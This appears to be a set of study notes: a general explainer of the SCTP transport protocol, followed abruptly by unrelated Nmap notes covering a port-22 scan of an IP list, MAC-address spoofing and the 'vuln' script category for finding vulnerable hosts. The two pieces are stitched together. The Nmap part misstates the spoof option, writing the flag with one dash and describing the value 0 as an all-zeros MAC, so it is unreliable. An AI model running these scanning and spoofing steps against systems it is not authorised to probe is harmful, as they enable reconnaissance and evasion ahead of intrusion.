SCTP stands for Stream Control Transmission Protocol. It is a connection-oriented transport layer protocol that provides reliable, in-sequence transport of data between two endpoints that have established a connection in a computer network.
SCTP is similar to TCP in that it provides reliable, in-sequence delivery of data. However, it has several advantages over TCP, including:
- Multihoming: SCTP allows both endpoints of a connection to have multiple IP addresses. This makes it more resilient to network failures, as traffic can be routed to the best available IP address.
- Multistreaming: SCTP allows multiple streams of data to be sent over a single connection. This can improve performance for applications that need to send different types of data, such as voice, video, and text.
- Partial reliability: SCTP can be configured to deliver data streams with different levels of reliability. This is useful for applications that need to deliver some types of data more reliably than others.
SCTP is used in a variety of applications, including:
- Voice over IP (VoIP): SCTP is used to provide reliable transport for VoIP calls.
- Mobile networks: SCTP is used to provide reliable transport for data services in mobile networks.
- Signaling systems: SCTP is used to carry signaling traffic between different components of signaling systems, such as SS7 and Diameter.
- Multimedia applications: SCTP can be used to improve the performance of multimedia applications, such as video streaming and online gaming.

sudo nmap -p 22 -iL iplist.txt # To check in the file all the PCs with the port 22 open. # -spoof-mac 0: This option tells Nmap # to use the all-zeros MAC address (00:00:00:00:00:00) # as the source MAC address # for all packets sent to the target host.

# --script vuln: This option tells Nmap to run all of the # vulnerability # scripts in the Nmap script database. # This command is useful for scanning networks for hosts that are # vulnerable # to known vulnerabilities. # The Nmap script database contains hundreds of scripts that check # for a wide variety of vulnerabilities, including remote code # execution # vulnerabilities, privilege escalation vulnerabilities, # and information disclosure vulnerabilities.
